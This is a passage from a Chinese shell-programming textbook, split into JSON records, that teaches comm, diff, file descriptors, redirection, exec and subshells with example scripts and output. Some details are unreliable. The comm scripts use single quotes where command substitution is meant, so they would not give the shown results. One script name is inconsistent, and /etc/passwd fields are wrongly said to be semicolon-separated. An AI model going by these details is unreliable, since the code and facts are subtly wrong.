    {"text": "本节将介绍Linux中最常用的两个比较文件的命令comm和diff。 12.3.1 使用comm比较文件 comm命令的作用是逐行比较两个有序的文件，其语法如下： comm [option]... file1 file2 其中，option表示comm命令的有关选项，比较常用的选项如下所列。"},
    {"text": "在学习comm命令之前，用户需要准备两个文本文件，其名称分别为students.txt和students1.txt，其内容分别如下： [root@linux chapter12]# cat students.txt 01 Abdel 02 Abdiel 03 Abdieso 04 Abdul 05 Abejundio 06 Abel 07 Abelard 08 Abenzio 09 Abercio 10 Abhay 11 Abhi 12 Accursius 13 Achilles 14 Babul 15 Bae 16 Bahar 17 Bailey 18 Baingana 19 Baird 20 Calixto 21 Callis 22 Calvert 23 Camlin 24 Campbell [root@linux chapter12]# cat students1.txt 01 Abdel 02 Abdiel 03 Abdieso 04 Abdul 05 Abejundio 06 Abel 07 Abelard 08 Abenzio 09 Abercio 10 Abhay 11 Abhi 12 Ace 13 Babul 14 Bae 15 Bahar 16 Bailey 17 Baingana 18 Baird 19 Bane 20 Bansi 21 Calixto 22 Callis 23 Calvert 24 Camlin 25 Campbell 26 Carden 从上面的输出信息可以得知，students.txt和students1.txt存储的是一些学生的姓名。"},
    {"text": "作为初学者，应该首先了解一下直接使用comm命令对比这两个文件的结果，代码如下： [root@linux chapter12]# comm students.txt students1.txt Abdel Abdiel Abdieso Abdul Abejundio Abel Abelard Abenzio Abercio Abhay Abhi Accursius Ace Achilles Babul Bae Bahar Bailey Baingana Baird Bane Bansi Calixto Callis Calvert Camlin Campbell Carden 从上面的输出结果可以得知，comm命令会将比较结果分为3列输出，这3列之间用制表符隔开。"},
    {"text": "【 例12-8 】通过comm命令对students.txt和students1.txt这两个文件的内容进行对比，并给出对比结果，代码如下： 01 #----------------------------/chapter12/ex12-5.sh------------------ 02 #! /bin/bash 03 04 # 找出第 1 个文件独有的文本行，并去掉空行 05 p1='comm -2 -3 students.txt students1.txt' 06 07 echo \"These students only appear in students.txt:\" 08 echo \"$p1\" 09 10 # 找出第 2 个文件独有的文本行，并去掉空行 11 p2='comm -1 -3 students.txt students1.txt' 12 13 echo \"These students only appear in students1.txt:\" 14 echo \"$p2\" 15 16 # 找出 2 个文件共有的文本行，并去掉空行 17 p3='comm -1 -2 students.txt students1.txt' 18 19 echo \"These students appear in both students.txt and students1.txt:\" 20 echo \"$p3\" 在上面的代码中，第5行找出只在students.txt文件出现的学生姓名，第11行找出只在students1.txt文件中出现的学生姓名，第17行找出同时在students.txt和students1.txt出现的学生姓名。 该程序的执行结果如下： [root@linux chapter12]# ./ex12-8.sh These students only appear in students.txt: Accursius Achilles These students only appear in students1.txt: Ace Bane Bansi Carden These students appear in both students.txt and students1.txt: Abdel Abdiel Abdieso Abdul Abejundio Abel Abelard Abenzio Abercio Abhay Abhi Babul Bae Bahar Bailey Baingana Baird Calixto Callis Calvert Camlin Campbell 有了上面的输出结果之后，用户可以进一步对各项数据进行统计，如下面的例子所示。 【 例12-9 】通过comm命令结合管道和wc命令对3类学生数据分别进行统计，代码如下： 01 #----------------------------/chapter12/ex12-9.sh------------------ 02 #! /bin/bash 03 04 # 统计只出现在 students.txt 文件中的学生数 05 q1='comm -2 -3 students.txt students1.txt | wc -l' 06 07 echo \"These are $q1 students only appear in students.txt.\" 08 09 # 统计只出现在 students1.txt 文件中的学生数 10 q2='comm -1 -3 students.txt students1.txt | wc -l' 11 12 echo \"These are $q2 students only appear in students1.txt.\" 13 14 # 统计同时出现在 students.txt 和 students1.txt 文件中的学生数 15 q3='comm -1 -2 students.txt students1.txt | wc -l' 16 17 echo \"These are $q3 students appear in both students.txt and students1.txt.\" 在上面的代码中，第5、10和15行分别统计出只在students.txt、students1.txt，以及同时在两个文件中出现的学生人数。 该程序的执行结果如下： [root@linux chapter12]# ./ex12-9.sh These are 2 students only appear in students.txt. These are 4 students only appear in students1.txt. These are 22 students appear in both students.txt and students1.txt. 12.3.2 使用diff比较文件 diff命令功能也是逐行比较多个文件的内容。"},
    {"text": "diff命令的基本语法如下： diff [option]... files 其中，option表示命令选项。 diff命令的选项主要是用来控制输出的格式，常用的选项如下所列。"},
    {"text": "【 例12-10 】演示默认情况下，diff命令的输出格式，命令如下： [root@linux chapter12]# diff students.txt students1.txt 01 12,13c12 02 < Accursius 03 < Achilles 04 --- 05 > Ace 06 19a19,20 07 > Bane 08 > Bansi 09 24a26 10 > Carden 在上面的输出信息中，diff命令使用非常简洁的语法来描述两个文件的差异。"},
    {"text": "在students.txt文件中，第11行为Abhi，第12行为Accursius，第13行为Achilles，第14行为Babul。 在students1.txt文件中，第11行为Abhi，第12行为Ace，第13行为Babul。"},
    {"text": "通过对比可以发现，students.txt文件的第11行、第14行分别与students1.txt文件的第11行、第13行相同，所以diff认为students.txt文件中的第11行和第14行之间的第12、13行在students1.txt文件中被替换为第11行和第13行之间的第12行。"},
    {"text": "输出结果的第2～5行是两个文件中的具体的内容差异。 其中第2、3行列出的是第1个文件中与第2个文件不同的内容，在每行的左边都使用左尖括号<表示。 第5行列出的是第2个文件中与第1个文件不同的内容，在每行的左边使用右尖括号>表示。"},
    {"text": "用户可以使用-c选项使得diff命令以上下文格式来输出比较的结果，代码如下： [root@linux chapter12]# diff -c students.txt students1.txt 01 *** students.txt 2013-03-30 21:30:05.195223029 +0800 02 --- students1.txt 2013-03-30 21:29:07.096311797 +0800 03 *************** 04 *** 9,24 **** 05 Abercio 06 Abhay 07 Abhi 08 ! Accursius 09 ! Achilles 10 Babul 11 Bae 12 Bahar 13 Bailey 14 Baingana 15 Baird 16 Calixto 17 Callis 18 Calvert 19 Camlin 20 Campbell 21 --- 9,26 ---- 22 Abercio 23 Abhay 24 Abhi 25 ! Ace 26 Babul 27 Bae 28 Bahar 29 Bailey 30 Baingana 31 Baird 32 + Bane 33 + Bansi 34 Calixto 35 Callis 36 Calvert 37 Camlin 38 Campbell 39 + Carden 在上面的输出结果中，第1行和第2行是一些文件的信息，包括文件名及一个时间戳。"},
    {"text": "其中，星号标注的是原始文件的内容的范围，例如第4行的星号之间的行数为9,24，表示下面列出的行数为原始文件的第9～24行。 连字符标注的范围是新文件中的内容的范围，例如第21行的行数为9,26，表示下面列出的是新文件的第9～26行。"},
    {"text": "从上面的输出可以发现，上下文格式不仅列出了两个文件中不同的行，而且还列出了一些相同的行，这些相同的行正是所谓的上下文环境，其作用是为了更加准确地定位不同之处。 同样，上下文格式也使用了一些特殊的字符来表示不同的差异，行首的感叹号!表示两个文件对应行的内容被修改，行首的加号+表示新增加的行，行首的空格表示没有发生改变的行。"},
    {"text": "用户可以使用-u选项启用统一格式，代码如下： [root@linux chapter12]# diff -u students.txt students1.txt 01 --- students.txt 2013-03-30 21:30:05.195223029 +0800 02 +++ students1.txt 2013-03-30 21:29:07.096311797 +0800 03 @@ -9,16 +9,18 @@ 04 Abercio 05 Abhay 06 Abhi 07 -Accursius 08 -Achilles 09 +Ace 10 Babul 11 Bae 12 Bahar 13 Bailey 14 Baingana 15 Baird 16 +Bane 17 +Bansi 18 Calixto 19 Callis 20 Calvert 21 Camlin 22 Campbell 23 +Carden 在上面的输出结果中，第1、2行与上下文环境格式基本相同，显示文件的相关信息，但是原始文件的信息以连字符-标注，而新文件的信息以加号+标注。"},
    {"text": "除了上面几种格式之外，diff命令还有一种更为直观的格式，将参与比较的两个文件的内容分为两列显示出来，用户可以使用-y选项来输出这种格式，代码如下： [root@linux chapter12]# diff -y students.txt students1.txt Abdel Abdel Abdiel Abdiel Abdieso Abdieso Abdul Abdul Abejundio Abejundio Abel Abel Abelard Abelard Abenzio Abenzio Abercio Abercio Abhay Abhay Abhi Abhi Accursius | Ace Achilles < Babul Babul Bae Bae Bahar Bahar Bailey Bailey Baingana Baingana Baird Baird > Bane > Bansi Calixto Calixto Callis Callis Calvert Calvert Camlin Camlin Campbell Campbell > Carden 12.4 文件描述符 在Shell程序中操作文件的时候，经常会遇到使用文件描述符的情况。"},
    {"text": "实际上，它是一个索引值，指向内核为每个进程所维护的该进程打开文件的记录表。 当程序打开一个现有文件或者创建一个新文件时，内核向进程返回一个文件描述符。"},
    {"text": "尽管这种习惯并非严格的标准，但是因为绝大部分的Shell和应用程序都遵循这种习惯，所以用户在编写Shell程序的时候，也要注意遵循这种习惯，避免其他问题的出现。"},
    {"text": "文件描述符从0开始，其最大值与当前系统中可以打开的最大文件数有关。 每个系统对于文件描述符的上限都有自己的规定，例如FreeBSD及Solaris中，每个进程最多可以打开的文件数取决于系统内存的大小，整数类型的最大值及系统管理员的设定的限制。 Linux的内核规定每个进程最多打开的文件数不能超过1,048,576个。"},
    {"text": "文件描述符是由无符号整数表示的句柄，进程使用它来标识打开的文件。 文件描述符与包括文件的相关信息，例如文件的打开模式、文件的位置类型、文件的初始类型等相关联，这些信息被称做文件的上下文。"},
    {"text": "12.4.2 标准输入、标准输出和标准错误 当用户在Shell中执行命令的时候，每个进程都和3个文件描述符相关联，并且使用这3个文件描述符来引用相关的文件。 这3个文件描述符分别为标准输入、标准输出和标准错误。"},
    {"text": "例如，用户在Shell命令行中执行以下命令： [root@linux chapter12]# ls -l /etc total 2228 drwxr-xr-x. 3 root root 4096 Feb 21 2012 abrt drwxr-xr-x. 4 root root 4096 Feb 21 2012 acpi -rw-r--r--. 1 root root 45 Oct 12 07:53 adjtime .. 当用户输入以上命令，并按回车键之后，Shell会创建一个进程来执行ls命令，该进程会继承其父进程，即当前的Shell的3个文件描述符。"},
    {"text": "例如，下面的ls命令在执行的时候发生了错误： [root@linux chapter12]# ls -lz /etc ls: invalid option -- 'z' Try 'ls --help' for more information. 很明显，ls命令并没有提供-z选项，所以在ls命令执行的时候，出现了无效选项的错误。"},
    {"text": "输出重定向的操作符为大于号>，其基本语法如下： cmd > file 在上面的语法中，cmd表示Shell命令，大于号>为重定向操作符，file表示重定向的目标文件。"},
    {"text": "在执行重定向操作的时候，如果目标文件file不存在，则重定向操作符>会先创建一个名称为file空文件，然后向该文件中写入数据； 如果目标文件已经存在，则重定向操作符>会清空原始文件的内容，然后再向该文件写入数。"},
    {"text": "下面的例子中，使用输出重定向操作将ls命令的执行结果输出到一个磁盘文件中： [root@linux chapter12]# ls -l /etc > filelist [root@linux chapter12]# cat filelist total 2228 drwxr-xr-x. 3 root root 4096 Feb 21 2012 abrt drwxr-xr-x. 4 root root 4096 Feb 21 2012 acpi -rw-r--r--. 1 root root 45 Oct 12 07:53 adjtime … 在上面的例子中，ls命令的执行结果不再显示到屏幕上面，而是写入到名称为filelist的文件中。"},
    {"text": "实际上，输出重定向操作符还有一种完整的语法，如下： cmd [n]> file 在上面的语法中，cmd同样表示Shell命令，n为一个整数，表示文件描述符，大于号为重定向操作符，file为重定向的目标文件。 当Shell在执行以上命令时，会将文件file打开，并且与文件描述符n相关联。"},
    {"text": "所以上面的例子中的命令的结果与下面的命令是相同的： [root@linux chapter12]# ls -l /etc 1> filelist 注意： 文件描述符与大于号之间没有任何空格，大于号与后面的文件名之间的空格可有可无。"},
    {"text": "下面的例子将标准输出和标准错误都重定向到某个文件，如下： [root@linux chapter12]# ls -lz 1> filelist 2> errmsg [root@linux chapter12]# cat errmsg ls: invalid option -- 'z' Try 'ls --help' for more information. 在上面的命令中，使用2>errmsg将标准错误重定向到名称为errormsg的文件。"},
    {"text": "对于标准输出和标准错误的同时重定向，还有一种更为简洁的语法，命令如下： [root@linux chapter12]# ls -lz &> filelist 上面的命令中，&符号代表标准输出和标准错误。"},
    {"text": "在Linux中，/dev/null是一个空设备，任何写入到该设备的数据都将被直接丢弃。 因此，如果用户想要把某个命令的输出信息和错误信息完全丢弃，可以将其重定向到/dev/null文件，命令如下： [root@linux chapter12]# ls -l &> /dev/null 以上命令表示将ls命令的标准输出和标准错误同时重定向到空设备。"},
    {"text": "由于重定向操作符>会覆盖原始文件的内容，所以该操作符为用户提供了一个非常实用的技巧，即快速地清空一个文件的内容或者创建一个空文件，命令如下： [root@linux chapter12]# > errmsg 上面的命令表示将文件errormsg的内容清空，如果该文件不存在，则创建一个空白文件。 然而，上述命令不一定在所有的Shell中都能够正常工作，还有一种更为通用的语法，命令如下： [root@linux chapter12]# :> errmsg 上面的命令中的冒号表示一个空输出。 绝大部分的Shell还支持将一组命令的输出重定向，其语法如下： { cmd1;cmd2;...; } [n]> file 在上面的语法中，使用大括号将所有的命令包围起来，多个命令之间用分号隔开。"},
    {"text": "例如，下面的命令将date和who这两个命令的标准输出和标准错误都重定向的名称为message的文件： [root@linux chapter12]# { date;who; } &> message 12.5.2 输出重定向（追加） 除了覆盖模式之外，输出重定向还有一种追加模式，其操作符为连续的两个大于号>>。"},
    {"text": ">>操作符同样支持一组命令，语法如下： { cmd1;cmd2;...; } [n]>> file 下面的命令演示了这种追加模式的输出重定向的使用方法： [root@linux chapter12]# date >> date [root@linux chapter12]# date >> date [root@linux chapter12]# cat date Sun Mar 31 15:53:21 HKT 2013 Sun Mar 31 15:53:22 HKT 2013 在上面的例子中，连续执行了两次重定向命令，其目标文件都为date，从cat命令的输出结果可以得知，第2次的重定向并没有覆盖第1次重定向的内容。"},
    {"text": "12.5.3 输入重定向 通常情况下，Shell命令会从标准输入，即键盘读取用户输入的数据。 但是Shell提供了另外一种读取用户输入的机制，即从文件中获取输入，这种机制称为输入重定向，如图12-5所示。 输入重定向与输出重定向非常相似，其操作符为小于号<，基本语法如下： cmd < file 在上面的语法中，cmd表示Shell命令，file文件的内容将作为cmd命令的输入。 图12-5 输入重定向 例如，在没有提供文件名作为参数的情况下，grep命令会从标准输入读取数据。 下面的命令通过重定向使grep命令间接地从students.txt文件中读取数据： [root@linux chapter12]# grep Bae < students.txt Bae 与输出重定向相对应，输入重定向默认的文件描述符为0，所以上面的命令等价于下面的命令： [root@linux chapter12]# grep Bae 0< students.txt Bae 注意： 文件描述符0与小于号之间没有任何空格。 输入重定向和输出重定向可以同时使用，表示从文件中读取输入数据，然后将执行结果输入到文件中。 例如，在下面的命令中，grep命令将从students.txt文件中读取数据，其执行结果将被写入到demo.txt文件： [root@linux chapter12]# grep Bae > demo.txt < students.txt [root@linux chapter12]# cat demo.txt Bae 12.5.4 当前文档 输入重定向的另外一个用途是生成当前文档（here documents）。 当前文档主要用在命令行中需要多行输入的情况，其基本语法如下： cmd << delimiter document delimiter 其中，cmd表示Shell命令，<<为输入重定向操作符，delimiter为分隔符。 当Shell遇到重定向操作符<<时，会一直读取用户的输入，直到遇到某一行，其中包含指定的分隔符delimiter。"},
    {"text": "在下面的例子中，使用当前文档作为cat命令的标准输入，命令如下： [root@linux ~]# cat << eof > This is a test file. > There are two lines. > eof This is a test file. There are two lines. 在上面的命令中，分隔符为字符串eof，当Shell遇到<<符号时，便会出现一个>提示符，用户可以在后面输入文本。"},
    {"text": "用户可以将当前文档操作符和输出重定向结合起来，从而将当前文档的内容输出到磁盘文件，代码如下： [root@linux ~]# cat > test.txt << eof > This is a test file. > There are two lines. > eof [root@linux ~]# cat test.txt This is a test file. There are two lines. 12.5.5 重定向两个文件描述符 在前面的例子中，介绍了输出重定向，即把标准输出重定向到文件。 除此之外，用户还可以通过重定向操作将到一个文件描述符的输出重定向到另外一个文件描述符，即复制一个文件描述符，其语法如下： n>&m 在上面的语法中，n和m都是文件描述符。 当n=1，且m=2时，文件描述符1成为文件描述符2的副本，所以所有的标准输出都被重定向到标准错误； 而当n=2，m=1时，文件描述符2成为文件描述符1的副本，所以所有的标准错误都被重定向到标准输出。"},
    {"text": "例如，下面的命令将标准错误复制到标准输出： [root@linux chapter12]# echo \"hello,world\" 1>&2 由于标准输出文件描述符1可以省略，所以上面的命令与下面的命令的功能相同： [root@linux chapter12]# echo \"hello,world\" >&2 用户可以将输出重定向和文件描述符的重定向结合起来，代码如下： [root@linux chapter12]# echo \"Hello, world.\" > message 2>&1 [root@linux chapter12]# cat message Hello, world. 在上面的例子中，echo命令的输出结果会被重定向到文件message中，由于标准错误也被重定向到标准输出，所以如果在命令的执行过程中出现错误，错误消息也被重定向到文件message中。"},
    {"text": "12.5.6 使用exec命令分配文件描述符 用户在命令后面使用重定向操作符的时候，重定向只对当前的命令有效。 用户可以使用exec命令创建新的文件描述符，并且将文件描述符绑定到文件或者另外一个文件描述符或者文件。"},
    {"text": "表12-3 常用的重定向操作 重定向 说 明 exec 2> file 将所有命令的标准错误重定向到文件file exec n< file 只读的方式打开名称为file的文件，并且使用文件描述符n，n是大于3的整数 exec n> file 以写入的方式打开名称为file的文件，并且使用文件描述符n，n是大于3的整数 exec n<> file 以读写方式打开文件file，并且使用文件描述符n，n是大于3的整数 exec n>&- 关闭文件描述符n exec n>&m 使得文件描述符n成为文件描述符m的副本，即将文件描述符m复制到n exec n>&- 关闭文件描述符n 【 例12-11 】演示exec命令分配文件描述符的方法，代码如下： 01 #---------------------------/chapter12/ex12-11.sh------------------ 02 #! /bin/bash 03 04 # 创建标准错误副本 05 exec 99>&2 06 07 # 将标准错误重定向到文件 errlog 08 exec 2> errlog 09 # 执行命令 10 ls -lw 11 # 恢复标准错误 12 exec 2>&99 13 # 关闭文件描述符 14 exec 99>&- 在上面的代码中，第5行使用exec命令为标准错误创建一个副本，便于在程序的后面恢复标准错误。"},
    {"text": "该程序的执行结果如下： [root@linux chapter12]# ./ex12-11.sh [root@linux chapter12]# cat errlog ls: option requires an argument -- 'w' Try 'ls --help' for more information. 当执行完成之后，查看errlog文件，可以发现其中已经包含ls命令的错误消息。"},
    {"text": "【 例12-12 】列出当前目录中的文件，并且在文件名前面加上行号，代码如下： 01 #---------------------------/chapter12/ex12-12.sh------------------ 02 #!/bin/bash 03 echo 'START' 04 05 # 将 ls -l 命令的执行结果重定向到文件描述符 100 06 exec 100< <(ls -l) 07 08 # 定义变量 09 num=1 10 # 通过循环从文件描述符 100 中读取数据行 11 while read line; do 12 # 输出数据 13 echo \"LINE $num: $line\" 14 num=$(($num + 1)) 15 done <&100 16 # 关闭文件描述符 17 exec 100>&- 18 echo 'END' 在上面的代码中，第6行是一种特殊的重定向，其功能为将ls-l命令的标准输出重定向到一个匿名管道，然后再将匿名管道与文件描述符100相关联。"},
    {"text": "该程序的执行结果如下： [root@linux chapter12]# ./ex12-12.sh START LINE 1: total 108 LINE 2: -rw-r--r-- 1 root root 834 Mar 31 14:52 d LINE 3: -rw-r--r-- 1 root root 58 Mar 31 15:53 date LINE 4: -rw-r--r-- 1 root root 4 Mar 31 16:39 demo.txt LINE 5: -rw-r--r-- 1 root root 12 Mar 31 20:24 echo.txt … LINE 29: drwxr-xr-x 17 root root 4096 Mar 30 20:52 tmp.bak END 12.6 小结 本章详细介绍了Shell程序中的文件的操作方法。"},
    {"text": "主要内容包括文件的类型及其权限、文件的查找方法、文件的比较方法、文件描述符，以及输入输出重定向等。 重点在于掌握文件的基本类型、访问权限的表示方法、find命令的基本用法、文件描述符，以及基本的重定向操作。"},
    {"text": "第13章 子Shell与进程处理 第13章 子Shell与进程处理 当用户在命令行中执行一个Shell脚本的时候，会感觉到Shell脚本就是在当前的命令行提示符下被解释的。 实际上，其过程并不是用户看到的那样，在脚本被执行的时候，当前的Shell会启动另外一个Shell实例，这样的话，每个Shell脚本都有效地运行在父Shell的一个子进程中。 在进行Shell编程的时候，不可避免地会遇到处理子Shell和父Shell的关系，以及进程和作业的控制，本章将对子Shell和进程处理进行介绍。"},
    {"text": "13.1.1 什么是子Shell 当用户登录Linux或者UNIX之后，操作系统会根据用户/etcpasswd文件中的配置启动一个Shell进程，该Shell进程为当前用户所执行的Shell命令的父进程。 每个用户都可以指定自己的默认Shell程序，下面显示的是/etc/passwd文件的部分内容： [root@linux chapter13]# cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin … 从上面的内容可以得知，/etc/passwd每一行描述的是一个用户的信息，每一行由7个字段组成，这些字段之间用分号隔开。 7个字段的涵义如下： 登录名 :x: 用户 ID: 用户组 ID: 备注信息 : 用户主目录 : 默认 Shell 程序 其中，默认Shell程序在第7个字段定义，并且使用绝对路径表示。"},
    {"text": "当用户在执行一个Shell脚本的时候，父Shell会根据脚本程序的第1行#!符号后面指定的解释器程序开启一个子Shell进程，然后在子Shell的环境中执行该Shell脚本。"},
    {"text": "所谓子Shell，实际上是父Shell的一个子进程。 子Shell本身也可以创建自己的子进程，从而成为其子进程的父Shell。 从定义可以看出，父Shell和子Shell都是相对的。 某个Shell可以成为一个Shell的父Shell，也可以同时成为另外一个Shell的子Shell，反之亦然。 在环境变量，以及标准输入、标准输出和标准错误等方面，父Shell和子Shell是相同的。 【 例13-1 】演示子Shell与父Shell的关系，代码如下： 01 #----------------------------/chapter13/ex13-1.sh------------------ 02 #! /bin/bash 03 04 # 改变工作目录 05 cd /var/log 06 # 打印当前工作目录 07 pwd 在上面的代码中，第5行通过cd命令改变当前的工作目录，第7行通过pwd命令打印当前的工作目录。 该程序的执行结果如下： [root@linux chapter13]# ./ex13-1.sh /var/log [root@linux chapter13]# 从上面的执行结果可以得知，当执行ex13-1.sh时，Shell会创建一个子Shell，子Shell和父Shell是相对独立的。 用户在脚本中执行的Shell命令并不会影响到父Shell，例如第5行代码的cd命令在子Shell中改变当前的工作目录，当子Shell退出之后，父Shell当前的工作目录不受影响。 如果用户想要在当前的Shell中执行脚本，则可以使用圆点命令，如下： [root@linux chapter13]# . ./ex13-1.sh /var/log [root@linux log]# pwd /var/log 从上面的执行结果可以得知，使用圆点命令在当前的Shell中执行脚本，会影响到当前Shell环境。"},
    {"text": "13.1.2 内部命令、保留字和外部命令 Shell命令分为内部命令和外部命令。 所谓内部命令，是指包含在Shell工具包中的命令，内部命令是Shell本身的重要组成部分。 内部命令嵌入在Shell程序中，并不单独以磁盘文件的形式存在于磁盘上。 例如cd、bg，以及fg等命令都是bash Shell的内部命令。 如表13-1所示，列出了bash Shell中常用的内部命令。 表13-1 bash Shell常用的内部命令 内部命令 说 明 . 读取Shell脚本，并在当前Shell中执行脚本 alias 设置命令别名 bg 将作业置于后台运行 cd 改变当前工作目录 echo 打印指定的文本 eval 将参数作为Shell命令执行 exec 以特定的程序取代Shell或者改变当前Shell的输出输入 exit 退出Shell export 将变量声明为环境变量 fc 与命令历史一起运行 fg 将作业置于前台运行 getopts 处理命令行选项 history 显示命令历史 jobs 显示在后台运行的作业 kill 向进程发送信号 logout 从Shell中注销 pwd 显示当前的工作目录 set 设置Shell环境变量 shift 变换命令行参数 内部命令实际上是Shell程序的一部分，其中包含的是一些比较简练的Linux系统命令，这些命令由Shell程序识别并在Shell程序内部完成运行，通常在加载用户的默认Shell时就被加载并驻留在系统内存中。 除了内部命令之外，还有一部分保留字也是Shell的重要组成部分，例如if、for、then，以及while等都是bash Shell的内置关键字。"},
    {"text": "表13-2 bash Shell中常用的保留字 保留字 说 明 ! 逻辑非 : 空命令 break 跳出for、while，以及until循环结构 case 多重条件判断 continue 跳过for、while、until，以及select等结构中后面的语句，从头开始执行下一次循环 declare 声明并定义变量属性 do 语句块的定义，常用于for、while、until，以及select等循环结构中 done 语句块的定义，常用于for、while、until，以及select等循环结构中 elif if条件判断结构中的分支语句 else if条件判断结构中的分支语句 esac case多条件分支结构的结束语句 for 循环语句 let 执行算术运算 local 定义局部变量 read 从标准输入读取一行数据 return 从函数或者脚本返回 test 条件测试 then if条件判断结构中的关键字 until 循环语句 wait 等待后台作业完成 while 循环语句 外部命令是Linux系统中的实用程序部分，这些实用程序以磁盘文件的形式存在于磁盘中。"},
    {"text": "在用户登录时，外部命令并不随着默认Shell的载入被加载到内存中，而是在需要的时候才被调进内存。 尽管外部命令的代码不包含在Shell程序中，但是其命令执行过程则是由Shell程序控制的。 Shell程序管理外部命令执行时的路径查找和代码加载，并控制命令的执行。 绝大部分的Shell命令都是外部命令，例如ls、at、du、host，以及id等。 外部命令通常位于/usr/bin及/usr/sbin等目录中，其中/usr/sbin中的命令通常与系统管理有关。 由于内部命令的代码嵌入到Shell程序中，所以当用户执行内部命令，Shell并不需要创建子Shell，而是由当前的Shell程序直接解释并执行。 而外部命令则是由当前的Shell程序创建一个子Shell，然后在子Shell环境中执行的。 当命令执行完成之后，子Shell退出，并返回到父Shell中。"},
    {"text": "【 例13-2 】说明Shell在执行外部命令时的过程，代码如下： 01 #----------------------------/chapter13/ex13-2.sh------------------ 02 #! /bin/bash 03 04 # 查找包含 ps 字符串的进程 05 ps -ef|grep ps 06 # 显示当前 Shell 的层次 07 echo $SHLVL 08 # 查找执行 ex13-2.sh 脚本的 Shell 进程的 ID 09 pidof -x ex13-2.sh 10 11 exit 0 在上面的代码中，第5行通过ps命令、管道，以及grep命令来查找含有字符串ps的进程列表。"},
    {"text": "该程序的执行结果如下： [root@linux chapter13]# ./ex13-2.sh … root 4958 4957 1 23:50 pts/0 00:00:00 ps -ef root 4959 4957 0 23:50 pts/0 00:00:00 grep ps … 2 4957 在上面的输出结果中，最开始的表格是第4行代码的ps命令输出的，一共有8列，分别是进程的所有者、进程ID、父进程ID、CPU使用率、进程启动时间、终端号、进程使用CPU累计时间，以及所执行的命令。"},
    {"text": "1．圆括号结构 当一组命令放在圆括号中时，该组命令会在一个子Shell环境中执行，其语法如下： (command1;command2;command3;...) 在上面的语法中，command1、command2，以及command3等都是Shell命令，这些命令写在一行中，它们之间用分号隔开。 如果每一行只有一条命令，则可以省略分号，变成以下语法形式： ( command1 command2 command3 ... ) 【 例13-3 】演示圆括号结构的使用方法，代码如下： 01 #----------------------------/chapter13/ex13-3.sh------------------ 02 #!/bin/bash 03 04 echo 05 # 输出子 Shell 的层次 06 echo \"Subshell level OUTSIDE subshell = $BASH_SUBSHELL\" 07 08 echo 09 # 定义子 Shell 外面的变量 10 outer_variable=Outer 11 # 圆括号开始 12 ( 13 # 输出子 Shell 的层次 14 echo \"Subshell level INSIDE subshell = $BASH_SUBSHELL\" 15 # 定义子 Shell 内的变量 16 inner_variable=Inner 17 # 在子 Shell 内输出圆括号里面定义的变量 18 echo \"From subshell, \\\"inner_variable\\\" = $inner_variable\" 19 # 在子 Shell 内输出圆括号外面定义的变量 20 echo \"From subshell, \\\"outer\\\" = $outer_variable\" 21 ) 22 23 echo 24 # 输出子 Shell 级别 25 echo \"Subshell level OUTSIDE subshell = $BASH_SUBSHELL\" 26 echo 27 # 判断 inner_variable 变量是否已经定义 28 if [ -z \"$inner_variable\" ] 29 then 30 echo \"inner_variable undefined in main body of shell\" 31 else 32 echo \"inner_variable defined in main body of shell\" 33 fi 34 # 输出圆括号内定义的变量 35 echo \"From main body of shell, \\\"inner_variable\\\" = $inner_variable\" 在上面的代码中，第6行使用系统变量BASH_SUBSHELL获取当前子Shell的层次。"},
    {"text": "第28～33行判断变量$inner_variable是否已经被定义，并且根据不同的情况输出不同的消息。 第35行输出圆括号结构内定义的变量inner_variable的值。"},
    {"text": "该程序的执行结果如下： [root@linux chapter13]# ./ex13-3.sh Subshell level OUTSIDE subshell = 0 Subshell level INSIDE subshell = 1 From subshell, \"inner_variable\" = Inner From subshell, \"outer\" = Outer Subshell level OUTSIDE subshell = 0 inner_variable undefined in main body of shell From main body of shell, \"inner_variable\" = 在上面的输出结果中，可以发现代码第6行的echo语句的输出结果为0，表示当前处于最顶层的子Shell中。"},
    {"text": "由于圆括号结构中的命令都是在一个子Shell中执行的，与调用另外一个脚本中的代码非常相似，所以通过圆括号结构，用户可以将Shell程序中的某一段代码放在后台执行，其实现方法就是在圆括号结构的后面使用&操作符。 【 例13-4 】演示将脚本中的部分代码放在后台执行的方法，代码如下： 01 #----------------------------/chapter13/ex13-4.sh------------------ 02 #!/bin/bash 03 04 # 输出开始提示信息 05 echo \"Before starting subshell\" 06 # 圆括号结构开始 07 ( 08 count=1 09 while [ $count -le 10 ] 10 do 11 echo \"$count\" 12 sleep 1 13 # 在 Shell 中修改循环变量的值 14 (( count++ )) 15 done 16 ) & 17 echo \"Finished\" 在上面的代码中，第7～16行是整个圆括号结构。"},
    {"text": "该程序的执行结果如下： [root@linux chapter13]# ./ex13-4.sh Before starting subshell Finished 1 [root@linux chapter13]# 2 3 4 5 6 7 8 9 10 当用户输入以上命令执行ex13-4.sh的时候，当前的Shell会创建一个子进程来执行脚本文件。"},
    {"text": "将命令置于后台执行的语法如下： command& 其中，command表示要执行的命令，&操作符表示将前面的命令置于后台执行。 在命令末尾追加&操作符之后，当前命令会由一个子Shell在后台执行。"},
    {"text": "后台命令和当前的Shell是并行的，相互之间没有依赖及等待关系。 这意味着，后台命令和当前Shell是异步的并行。 用户可以在任何一个Shell命令后面使用&操作符，将该命令置于后台运行。"},
    {"text": "【 例13-5 】演示使用命令替换在子Shell中执行命令，代码如下： 01 #----------------------------/chapter13/ex13-5.sh------------------ 02 #! /bin/bash 03 04 # 在子 Shell 中执行命令，并且返回结果 05 $(cd /;ls;echo \"current working directory is \";pwd) 06 07 echo \"current working directory is\" 08 09 # 在父 Shell 中输出当前工作目录 10 pwd 在上面的代码中，第5行使用$()符号执行一组Shell命令，这些命令之间用分号隔开，第1个命令为cd，将子Shell的当前工作目录切换到根目录；"},
    {"text": "该程序的执行结果如下： [root@linux chapter13]# ./ex13-5.sh bin data2 etc lib64 mnt root sys boot data_.base.tar home lost+found net sbin tmp cgroup demo.sh ImagedTabSet.css media opt selinux usr data1 dev lib misc proc srv var current working directory is / current working directory is /root/chapter13 从上面的执行结果可以得知，子Shell中的cd命令只会改变子Shell的工作目录，并不影响父Shell的环境，因此，在上面的例子中，父Shell的工作目录仍然为/root/chapter13，并没有切换到根目录。"},
    {"text": "除了以上两种在子Shell中执行命令的方法之外，还有其他一些方法，例如管道以及进程替换等。 在不同的Shell中，对于管道和进程替换的处理方法会有所不同，读者可以参考相关的书籍，不再详细介绍。"},
